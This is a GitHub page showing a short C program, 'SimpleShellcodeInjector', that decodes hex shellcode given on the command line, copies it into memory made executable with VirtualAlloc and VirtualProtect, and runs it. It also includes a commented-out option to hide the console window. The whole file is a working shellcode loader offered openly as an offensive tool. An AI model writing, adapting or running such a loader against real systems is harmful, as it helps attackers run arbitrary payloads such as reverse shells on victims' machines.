forked from DimopoulosElias/SimpleShellcodeInjector
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathSimpleShellcodeInjector.c
More file actions
40 lines (28 loc) · 1.17 KB
/
SimpleShellcodeInjector.c
File metadata and controls
40 lines (28 loc) · 1.17 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <winsock2.h>
int main(int argc, char *argv[]) {
//Uncomment to Hide cmd window
//HWND hWnd = GetConsoleWindow();
//ShowWindow( hWnd, SW_HIDE );
unsigned int char_in_hex;
unsigned static char logo [] =
" +-+-+-+ +-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+\n"
" |S|S|I| |(|S|i|m|p|l|e| |S|h|e|l|l|c|o|d|e| |I|n|j|e|c|t|o|r|)|\n"
" +-+-+-+-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+\n"
" |b|y| |g|w|e|e|p|e|r|x| \n"
" +-+-+ +-+-+-+-+-+-+-+-+\n";
unsigned char *shellcode=argv[1];
unsigned int iterations=strlen(shellcode);
unsigned int memory_allocation=sizeof(char)*strlen(shellcode);
printf("%s\n\n", &logo);
for(unsigned int i = 0; i< iterations; i++) {
sscanf(shellcode+2*i, "%2X", &char_in_hex);
shellcode[i] = (char)char_in_hex;
}
void *exec = VirtualAlloc(0, memory_allocation, MEM_COMMIT, PAGE_READWRITE);
memcpy(exec, shellcode, memory_allocation);
DWORD ignore;
VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore);
printf("Ready? Go!");
(*(void (*)()) exec)();
return 0;
}